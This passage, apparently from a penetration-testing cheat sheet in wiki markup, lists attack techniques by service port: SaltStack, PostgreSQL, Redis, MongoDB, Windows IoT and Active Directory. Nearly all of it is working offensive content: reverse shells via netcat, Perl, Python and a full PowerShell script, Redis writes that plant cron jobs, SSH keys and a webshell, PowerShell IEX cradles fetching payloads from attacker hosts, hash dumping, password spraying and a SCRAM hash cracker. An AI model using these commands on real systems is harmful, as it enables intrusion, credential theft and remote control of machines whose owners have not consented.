# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in&lt;br /&gt;
# https://github.com/jasperla/CVE-2020-11651-poc&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 --exec &amp;quot;nc 127.0.0.1 4444 -e /bin/sh&amp;quot;&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 -r /etc/shadow&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5432, 5433 - PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psql -U  # Open psql console with user&lt;br /&gt;
psql -h  -U  -d  # Remote connection&lt;br /&gt;
psql -h  -p  -U  -W   # Remote connection&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
psql -h localhost -d  -U  #Password will be prompted&lt;br /&gt;
\list # List databases&lt;br /&gt;
\c  # use the database&lt;br /&gt;
\d # List tables&lt;br /&gt;
\du+ # Get users roles&lt;br /&gt;
#Read a file&lt;br /&gt;
CREATE TABLE demo(t text);&lt;br /&gt;
COPY demo from &#039;[FILENAME]&#039;;&lt;br /&gt;
SELECT * FROM demo;&lt;br /&gt;
#Write ascii to a file (copy to cannot copy binary data)&lt;br /&gt;
COPY (select convert_from(decode(&#039;&#039;,&#039;base64&#039;),&#039;utf-8&#039;)) to &#039;C:\\some\\interesting\path.cmd&#039;;&lt;br /&gt;
#List databases&lt;br /&gt;
SELECT datname FROM pg_database;&lt;br /&gt;
#Read credentials (usernames + pwd hash)&lt;br /&gt;
SELECT usename, passwd from pg_shadow;&lt;br /&gt;
#Check if current user is superiser&lt;br /&gt;
SELECT current_setting(&#039;is_superuser&#039;); #If response is &amp;quot;on&amp;quot; then true, if &amp;quot;off&amp;quot; then false&lt;br /&gt;
#Check if plpgsql is enabled&lt;br /&gt;
SELECT lanname,lanacl FROM pg_language WHERE lanname = &#039;plpgsql&#039;&lt;br /&gt;
#Change password&lt;br /&gt;
ALTER USER user_name WITH PASSWORD &#039;new_password&#039;;&lt;br /&gt;
#Check users privileges over a table (pg_shadow on this example)&lt;br /&gt;
SELECT grantee, privilege_type&lt;br /&gt;
FROM information_schema.role_table_grants&lt;br /&gt;
WHERE table_name=&#039;pg_shadow&#039;&lt;br /&gt;
#Get users roles&lt;br /&gt;
SELECT&lt;br /&gt;
      r.rolname,&lt;br /&gt;
      r.rolsuper,&lt;br /&gt;
      r.rolinherit,&lt;br /&gt;
      r.rolcreaterole,&lt;br /&gt;
      r.rolcreatedb,&lt;br /&gt;
      r.rolcanlogin,&lt;br /&gt;
      r.rolconnlimit, r.rolvaliduntil,&lt;br /&gt;
  ARRAY(SELECT b.rolname&lt;br /&gt;
        FROM pg_catalog.pg_auth_members m&lt;br /&gt;
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)&lt;br /&gt;
        WHERE m.member = r.oid) as memberof&lt;br /&gt;
, r.rolreplication&lt;br /&gt;
FROM pg_catalog.pg_roles r&lt;br /&gt;
ORDER BY 1;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce&lt;br /&gt;
#PoC&lt;br /&gt;
DROP TABLE IF EXISTS cmd_exec;&lt;br /&gt;
CREATE TABLE cmd_exec(cmd_output text);&lt;br /&gt;
COPY cmd_exec FROM PROGRAM &#039;id&#039;;&lt;br /&gt;
SELECT * FROM cmd_exec;&lt;br /&gt;
&lt;br /&gt;
postgres=# COPY cmd_exec FROM PROGRAM &#039;perl -MIO -e &#039;&#039;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;quot;192.168.49.115:80&amp;quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;;&lt;br /&gt;
COPY 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5800, 5801, 5900, 5901 - VNC ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5985, 5986 - WinRM ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
The easiest way to connect to WinRM using C# is to use &#039;&#039;&#039;WSMAN Automation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Reference &amp;lt;code&amp;gt;wsmauto.dll&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;Windows\System32&amp;lt;/code&amp;gt; in your project.&lt;br /&gt;
&lt;br /&gt;
The following code should work:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
IWSMan wsman = new WSManClass();&lt;br /&gt;
IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();&lt;br /&gt;
if (options != null)&lt;br /&gt;
{&lt;br /&gt;
    try&lt;br /&gt;
    {&lt;br /&gt;
        // options.UserName = ???;&lt;br /&gt;
        // options.Password = ???;&lt;br /&gt;
        IWSManSession session = (IWSManSession)wsman.CreateSession(&amp;quot;http://&amp;lt;your_server_name&amp;gt;/wsman&amp;quot;, 0, options);&lt;br /&gt;
        if (session != null)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                // retrieve the Win32_Service xml representation&lt;br /&gt;
                var reply = session.Get(&amp;quot;http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt&amp;quot;, 0);&lt;br /&gt;
                // parse xml and dump service name and description&lt;br /&gt;
                var doc = new XmlDocument();&lt;br /&gt;
                doc.LoadXml(reply);&lt;br /&gt;
                foreach (var elementName in new string[] { &amp;quot;p:Caption&amp;quot;, &amp;quot;p:Description&amp;quot; })&lt;br /&gt;
                {&lt;br /&gt;
                    var node = doc.GetElementsByTagName(elementName)[0];&lt;br /&gt;
                    if (node != null) Console.WriteLine(node.InnerText);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            finally&lt;br /&gt;
            {&lt;br /&gt;
                Marshal.ReleaseComObject(session);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    finally&lt;br /&gt;
    {&lt;br /&gt;
        Marshal.ReleaseComObject(options);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Source:&lt;br /&gt;
&lt;br /&gt;
* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp]&lt;br /&gt;
&lt;br /&gt;
== 6370 - Redis ==&lt;br /&gt;
&lt;br /&gt;
=== Commands &amp;amp; info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Service file&lt;br /&gt;
/etc/systemd/system/redis.service&lt;br /&gt;
# Config file&lt;br /&gt;
installdir/redis/etc/redis. conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crontab ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Urahara:~# echo -e &amp;quot;\n\n*/1 * * * * /usr/bin/python -c &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;10.85.0.53\&amp;quot;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/sh\&amp;quot;,\&amp;quot;-i\&amp;quot;]);&#039;\n\n&amp;quot;|redis-cli -h 10.85.0.52 -x set 1&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping database ===&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Sybaris writeup&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module&lt;br /&gt;
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.&lt;br /&gt;
# Then you need some way to upload the compiled module&lt;br /&gt;
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so&lt;br /&gt;
# List loaded modules to check it was correctly loaded: MODULE LIST&lt;br /&gt;
# Execute commands:&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;id&amp;quot;&lt;br /&gt;
&amp;quot;uid=0(root) gid=0(root) groups=0(root)\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;whoami&amp;quot;&lt;br /&gt;
&amp;quot;root\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.rev 127.0.0.1 9999&lt;br /&gt;
Unload the module whenever you want: MODULE UNLOAD mymodule&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Redis-rogue server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# A exploit for Redis(&amp;lt;=5.0.5) RCE&lt;br /&gt;
# https://github.com/n0b0dyCN/redis-rogue-server&lt;br /&gt;
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf&lt;br /&gt;
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa&lt;br /&gt;
# 2 Write the public key to a file : (echo -e &amp;quot;\n\n&amp;quot;; cat ~/id_rsa.pub; echo -e &amp;quot;\n\n&amp;quot;) &amp;gt; spaced_key.txt&lt;br /&gt;
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key&lt;br /&gt;
# 4 Save the public key to the authorized_keys file on redis server:&lt;br /&gt;
# 4&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /var/lib/redis/.ssh&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename &amp;quot;authorized_keys&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You must know the path of the Web site folder.&lt;br /&gt;
# Try also /var/www/html&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /usr/share/nginx/html&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename redis.php&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; set test &amp;quot;&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 27017 - MongoDB ==&lt;br /&gt;
&lt;br /&gt;
=== Crack hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
import hmac&lt;br /&gt;
import sys&lt;br /&gt;
USERNAME = &#039;admin&#039;&lt;br /&gt;
SALT = &#039;zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg==&#039;&lt;br /&gt;
CLIENT_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK&#039;&lt;br /&gt;
SERVER_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D&#039;&lt;br /&gt;
ITERATIONS = 15000&lt;br /&gt;
TARGET = &#039;/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98=&#039;&lt;br /&gt;
WORDLIST = &#039;/usr/share/wordlists/rockyou.txt&#039;&lt;br /&gt;
def byte_xor(ba1, ba2):&lt;br /&gt;
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])&lt;br /&gt;
def proof(username, password, salt, client_nonce, server_nonce, iterations):&lt;br /&gt;
    raw_salt = base64.b64decode(salt)&lt;br /&gt;
    client_first_bare = &#039;n={},r={}&#039;.format(username, client_nonce)&lt;br /&gt;
    server_first = &#039;r={},s={},i={}&#039;.format(server_nonce, salt, iterations)&lt;br /&gt;
    client_final_without_proof = &#039;c=biws,r={}&#039;.format(server_nonce)&lt;br /&gt;
    auth_msg = &#039;{},{},{}&#039;.format(client_first_bare, server_first, client_final_without_proof)&lt;br /&gt;
    salted_password = hashlib.pbkdf2_hmac(&#039;sha256&#039;, password.encode(&#039;utf-8&#039;), raw_salt, iterations)&lt;br /&gt;
    client_key = hmac.digest(salted_password, b&#039;Client Key&#039;, &#039;sha256&#039;)&lt;br /&gt;
    stored_key = hashlib.sha256(client_key).digest()&lt;br /&gt;
    client_signature = hmac.new(stored_key, auth_msg.encode(&#039;utf-8&#039;), &#039;sha256&#039;).digest()&lt;br /&gt;
    client_proof = byte_xor(client_key, client_signature)&lt;br /&gt;
    return base64.b64encode(client_proof).decode(&#039;utf-8&#039;)&lt;br /&gt;
counter = 0&lt;br /&gt;
with open(WORDLIST) as f:&lt;br /&gt;
    for candidate in f:&lt;br /&gt;
        counter = counter + 1&lt;br /&gt;
        if counter % 1000 == 0:&lt;br /&gt;
            print(&#039;Tried {} passwords&#039;.format(counter))&lt;br /&gt;
        p = proof(USERNAME, candidate.rstrip(&#039;\n&#039;), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)&lt;br /&gt;
        if p == TARGET:&lt;br /&gt;
            print(&#039;Password found: {}&#039;.format(candidate.rstrip(&#039;\n&#039;)))&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
print(&#039;Wordlist exhausted with no password found.&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 29819 - Windows IoT Core SirepServer ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file - Example&lt;br /&gt;
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe&#039;&lt;br /&gt;
# Execute command - Example&lt;br /&gt;
 python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Active Directory/Windows ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2078&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
=== BloodHound ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.&lt;br /&gt;
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start neo4j database&lt;br /&gt;
./neo4j console&lt;br /&gt;
# Start BloodHound&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Curated list of commands ===&lt;br /&gt;
&lt;br /&gt;
=== Dump hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.&lt;br /&gt;
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberoast ===&lt;br /&gt;
&lt;br /&gt;
=== Pass The Hash ===&lt;br /&gt;
&lt;br /&gt;
=== Password Spraying ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PSEXEC.py, PSExec.exe, Evil-WinRM ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 psexec.py test.local/john:password123@10.10.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# evil-winrm -u svc-alfresco -p &#039;s3rvice&#039; -i 10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell commands ===&lt;br /&gt;
&lt;br /&gt;
Running powershell x64, and running (IEX) the downloaded ps1 file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Powershell on target with ExectionPolicy to bypass&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerUp.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/PowerUp.ps1&#039;);Invoke-AllChecks&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Downloading SharpHound.exe on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
(new-object System.Net.WebClient).DownloadFile(&#039;http://10.10.14.17:9000/SharpHound.exe&#039;, &#039;C:\Users\[...]\Desktop\SharpHound.exe&#039;)&lt;br /&gt;
# Execute SharpHound&lt;br /&gt;
./SharpHound.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerView.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.45:5555/PowerView.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Nishangs Invoke-PowershellTCP&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.18:9000/shell.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Use invoke webrequest and download script. With -UseBasicParsing. &#039;&#039;-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:9000/ipw.ps1&#039;) -UseBasicParsing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Download a file and save it to location.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mini-reverseshell.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;127.0.0.1&#039;, 413);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do&lt;br /&gt;
{&lt;br /&gt;
	$writer.Flush();&lt;br /&gt;
	$read = $null;&lt;br /&gt;
	$res = &amp;quot;&amp;quot;&lt;br /&gt;
	while($stream.DataAvailable -or $read -eq $null) {&lt;br /&gt;
		$read = $stream.Read($buffer, 0, 1024)&lt;br /&gt;
	}&lt;br /&gt;
	$out = $encoding.GetString($buffer, 0, $read).Replace(&amp;quot;`r`n&amp;quot;,&amp;quot;&amp;quot;).Replace(&amp;quot;`n&amp;quot;,&amp;quot;&amp;quot;);&lt;br /&gt;
	if(!$out.equals(&amp;quot;exit&amp;quot;)){&lt;br /&gt;
		$args = &amp;quot;&amp;quot;;&lt;br /&gt;
		if($out.IndexOf(&#039; &#039;) -gt -1){&lt;br /&gt;
			$args = $out.substring($out.IndexOf(&#039; &#039;)+1);&lt;br /&gt;
			$out = $out.substring(0,$out.IndexOf(&#039; &#039;));&lt;br /&gt;
			if($args.split(&#039; &#039;).length -gt 1){&lt;br /&gt;
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo&lt;br /&gt;
                $pinfo.FileName = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
                $pinfo.RedirectStandardError = $true&lt;br /&gt;
                $pinfo.RedirectStandardOutput = $true&lt;br /&gt;
                $pinfo.UseShellExecute = $false&lt;br /&gt;
                $pinfo.Arguments = &amp;quot;/c $out $args&amp;quot;&lt;br /&gt;
                $p = New-Object System.Diagnostics.Process&lt;br /&gt;
                $p.StartInfo = $pinfo&lt;br /&gt;
                $p.Start() | Out-Null&lt;br /&gt;
                $p.WaitForExit()&lt;br /&gt;
                $stdout = $p.StandardOutput.ReadToEnd()&lt;br /&gt;
                $stderr = $p.StandardError.ReadToEnd()&lt;br /&gt;
                if ($p.ExitCode -ne 0) {&lt;br /&gt;
                    $res = $stderr&lt;br /&gt;
                } else {&lt;br /&gt;
                    $res = $stdout&lt;br /&gt;
                }&lt;br /&gt;
			}&lt;br /&gt;
			else{&lt;br /&gt;
				$res = (&amp;amp;&amp;quot;$out&amp;quot; &amp;quot;$args&amp;quot;) | out-string;&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else{&lt;br /&gt;
			$res = (&amp;amp;&amp;quot;$out&amp;quot;) | out-string;&lt;br /&gt;
		}&lt;br /&gt;
		if($res -ne $null){&lt;br /&gt;
        $writer.WriteLine($res)&lt;br /&gt;
    }&lt;br /&gt;
	}&lt;br /&gt;
}While (!$out.equals(&amp;quot;exit&amp;quot;))&lt;br /&gt;
$writer.close();&lt;br /&gt;
$socket.close();&lt;br /&gt;
$stream.Dispose()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Powershell location&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 64-bit Windows&lt;br /&gt;
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
# 32-bit (x86) Windows&lt;br /&gt;
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d  --dc  usernames.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Ansible ==&lt;br /&gt;
&lt;br /&gt;
[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run Ad-hoc command&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Run ad-hoc command as root or other users&lt;br /&gt;
# If you don&#039;t specify user it will default to root.&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot; --become&lt;br /&gt;
&lt;br /&gt;
##  Crack Ansible hash&lt;br /&gt;
# Notice the spaces between AES256 and 666...&lt;br /&gt;
cat test.yml &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
